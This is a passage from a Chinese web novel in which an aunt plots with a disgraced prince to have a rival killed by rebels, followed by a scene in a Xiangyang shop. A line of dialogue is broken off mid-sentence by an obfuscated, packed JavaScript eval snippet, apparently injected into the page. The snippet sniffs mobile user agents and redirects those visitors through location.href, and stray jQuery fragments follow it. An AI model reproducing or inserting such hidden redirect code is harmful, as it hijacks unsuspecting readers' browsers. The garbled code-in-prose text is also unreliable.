“姑姑,如此一来,我岂不是在为他人做嫁衣?”
李怜婞瞪了李恒玙一眼:“你这蠢货,蜀中的那些将领,只有你能够指挥得动。”
“凭借你多年在蜀中的经营,你只要振臂一呼,兴许反叛军便会很快偃旗息鼓。”
“但你也不想想,那韩易是个什么东西?”
“他之前所做的那一切,都是因为顾邀璃在背后托举,所以,才能够以雷霆万钧之势,造就了他现在所拥有的一切。”
“而眼下,顾邀璃失踪了,也许尸体已经在哪个角落里腐烂,也许受了重伤在哪里疗养。”
“总之现在,她不在韩易身边,而你封地里的那些贼人**,韩易若是去了,你难道就没点本事让他有去无回,死在叛军的手中?”
李恒玙在短暂的停顿之后恍然大悟,直接拍了一下手,大声称赞:“姑姑此举高明啊!”
李怜婞眼神当中闪过一抹不屑,但还是耐着性子,开口说。
“等到韩易死在蜀中,那时候,皇帝就只能派你前去!”
“而你只要稍微演一出戏,让自己受点小伤,然后以摧枯拉朽之势,平息叛乱,便可将大大的功劳全部揽到自己的手中!”
“如此一来,到那时,姑姑我就会到你父皇面前向你求情。”
“朝中也会有不少支持你的大臣,站在你这一边。”
“这样一来,你的王位也能够恢复了。”
“没准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16591017|170586||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
,你父皇一高兴,还会赏赐你更多好东西。”
李恒玙听着李怜婞的这般分析,很是激动地连连点头:“好,姑姑,那我现在就促成此事!”
……
两天后,襄阳城。
“大郎,大郎。”
这天刚刚微亮,刘家的千金刘霓裳又和平日一般,满脸笑靥地进入八方楼。
这八方楼是最近才刚刚开业的,卖的都是从京城那边流通过来的不少好东西。
其中就有在襄阳千金难求的琉璃制品。
因此,八方楼开业没多少时间,就在襄阳城内打响了名号。
除了它们贩卖的东西非常稀有且珍贵之外,更重要的是有刘家在背后支持,襄阳四大家族蔡家为首,姚家为辅,刘家次之。
荆州节度使刘景坤和襄阳郡郡守姚景升是拜把子兄弟,自幼一起长大,关系极好。
因此,有刘氏家族在背后支撑着,八方楼的生意不仅红火,更无人胆敢觊觎。
刘霓裳一进来,就瞧见女扮男装的刁袖娘手里拿着账本,正在记账。
其实,这账本里记录的,并不是账面上的数字。
而是整个襄阳城内,门阀世家与权贵们之间的人脉关系网。
等到刘霓裳靠近了,刁袖娘这才把账本轻轻盖上,然后抬起她那张经过略微修饰的俊俏脸蛋。
女扮男装的刁袖娘,整个人会比一般的男子,显得更加秀气。
但因为她会武功,所以,身上还会多一份普通俊哥儿所没有的英气。
再加上她与刘霓裳在土匪窝里的那一次经历,使得刘霓裳自打和刁袖娘一回到